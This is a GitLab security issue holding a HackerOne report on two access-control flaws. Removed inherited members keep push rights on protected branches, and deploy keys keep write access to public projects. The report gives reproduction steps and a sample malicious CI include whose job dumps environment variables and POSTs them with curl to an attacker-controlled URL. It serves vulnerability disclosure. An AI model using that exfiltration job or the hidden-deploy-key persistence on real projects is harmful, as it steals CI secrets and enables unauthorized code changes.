:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2041789](https://hackerone.com/reports/2041789)** by `theluci` on 2023-06-28, assigned to @greg: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report Hello, #### Background Gitlab provides a feature to set up [Deploy Keys.](https://docs.gitlab.com/ee/user/project/deploy_keys/) Only the maintainers/owner of a project can [create or view project’s deploy keys.](https://docs.gitlab.com/ee/user/project/deploy_keys/#create-a-project-deploy-key) According to the [docs](https://docs.gitlab.com/ee/user/project/deploy_keys/#permissions), > Although a deploy key is a secret that isn’t associated with a specific user, ***GitLab authorizes the creator of the deploy key if the Git-command triggers additional processes.*** Also, according to [this section](https://docs.gitlab.com/ee/user/project/deploy_keys/#deploy-key-cannot-push-to-a-protected-branch),  As can be seen, a non-project member should be unable to push to protected branches using deploy key. ### Vulnerability #### Vulnerability1 When a member that has been granted **Allowed to push and merge** access on protected branches in a project is removed from the project. The member’s access is also automatically removed. For example, `LuciferHackerone2` is a member that has **Allowed to push and merge** access on protected branch `main`   After `LuciferHackerone2` is removed from project, his access is automatically removed,   However, this does not work if member has *inherited membership* in a project. **That is, if an `attacker` has inherited membership in `victim-project` and has Allowed to push and merge access on protected branches. Then his access remains even after `attacker` is removed from the top-level group (loses his inherited membership in project).** This behaviour is potentially dangerous as `victim` would expect that removed member’s access is automatically removed **as that is what usually happens and that is what should happen**. #### Vulnerability 2 The [documentation](https://docs.gitlab.com/ee/user/project/deploy_keys/#deploy-key-cannot-push-to-a-protected-branch) states the following,  The above is enforced correctly in case of private projects. That is, for private projects, a non-project member cannot push to protected branches (even if he has access) using his deploy key. If he tries to do so, he is shown the following error,  However, the above is not enforced for public projects. **That is, for public projects, a non-project member can continue pushing to protected branches using his deploy key contrary to documentation.** #### Steps to reproduce 1. `victim` creates a *public group* `victim-group` and activates ultimate trial. 2. `victim` creates a *public project* `victim-project` inside `victim-group`. 3. `victim` goes to `https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository`, **Expand Deploy keys** and adds a few deploy keys. In a real-world scenario, there will already be a few keys added to the project. 4.`victim` goes to `victim-group` membership page `https://gitlab.com/groups/<victim-group>/-/group_members` and adds `attacker` as *maintainer*. 5. `attacker` goes to `https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository`, **Expand Protected branches** and gives himself **Allowed to push and merge** access on protected branches.  6. `attacker` goes to `https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository`, **Expand Deploy keys** and adds a trustworthy looking deploy key such as `CI_SERVER_FALLBACK_KEY`. (Be sure to grant write permissions to this key) 7. `attacker` leaves `victim-group`. 8. `attacker` is not a member of `victim-project` and should not be able to push to its protected branches (according to the [docs](https://docs.gitlab.com/ee/user/project/deploy_keys/#deploy-key-cannot-push-to-a-protected-branch)). **However, he is able to do that.** `attacker` goes to his terminal and runs the following commands, ``` git clone git@gitlab.com:<victim-group>/<victim-project>.git ``` ``` cd victim-project ``` ``` git init ``` ``` echo “Some text” > Sample.txt ``` ``` git add . ``` ``` git commit -m "my commit" ``` ``` git push origin ``` **(Optional)** 8. In the worst case scenario, `attacker` can edit the **.gitlab-ci.yml file** to **include the link to a malicious .gitlab-ci.yml file** that has code to leak `victim-group` and `victim-project` CI/CD variables. ``` include: - '(raw url of the malicious .gitlab-ci.yml file located at some other location)' ``` **Malicious .gitlab-ci.yml file** can be present in `another-public-project` in attacker’s `another-public-group`, containing the following content, ``` job_name: script: - export > test.txt - curl -X POST --data "$(cat test.txt)" attacker-controlled-url ``` **`attacker` is not able to trigger a pipeline. However, if a member changes something (adding a new file, editing an existing file etc.) without inspecting the content of .gitlab-ci.yml file, a pipeline would be triggered automatically.** #### POC  #### Output of checks This bug happens on GitLab.com (Probably on instance too). #### Impact A non-project member can continue having write access to protected branches of public projects using deploy keys contrary to documentation. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [pic-27jun-1.png](https://h1.sec.gitlab.net/a/3f7684ae-d659-4f26-9673-bf99212e077c/pic-27jun-1.png) * [pic-27jun-2.png](https://h1.sec.gitlab.net/a/dfee80a6-236b-4718-a805-7b4ac577aa9e/pic-27jun-2.png) * [pic-27jun-3.png](https://h1.sec.gitlab.net/a/03851b5c-68b5-4233-b90c-7a3f92fa8d65/pic-27jun-3.png) * [pic-27jun-4.png](https://h1.sec.gitlab.net/a/53da9e87-796d-43af-842b-4d145a624cad/pic-27jun-4.png) * [pic-27jun-5.png](https://h1.sec.gitlab.net/a/49a86cae-feb6-456c-8c87-213362a9699d/pic-27jun-5.png) * [pic-27jun-6.png](https://h1.sec.gitlab.net/a/e4ee0c90-b123-4f6f-85e3-33961683d86a/pic-27jun-6.png) * [poc-28jun.mp4](https://h1.sec.gitlab.net/a/ff84a2f8-2c2d-49c1-a47f-28fac9fa72f5/poc-28jun.mp4) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues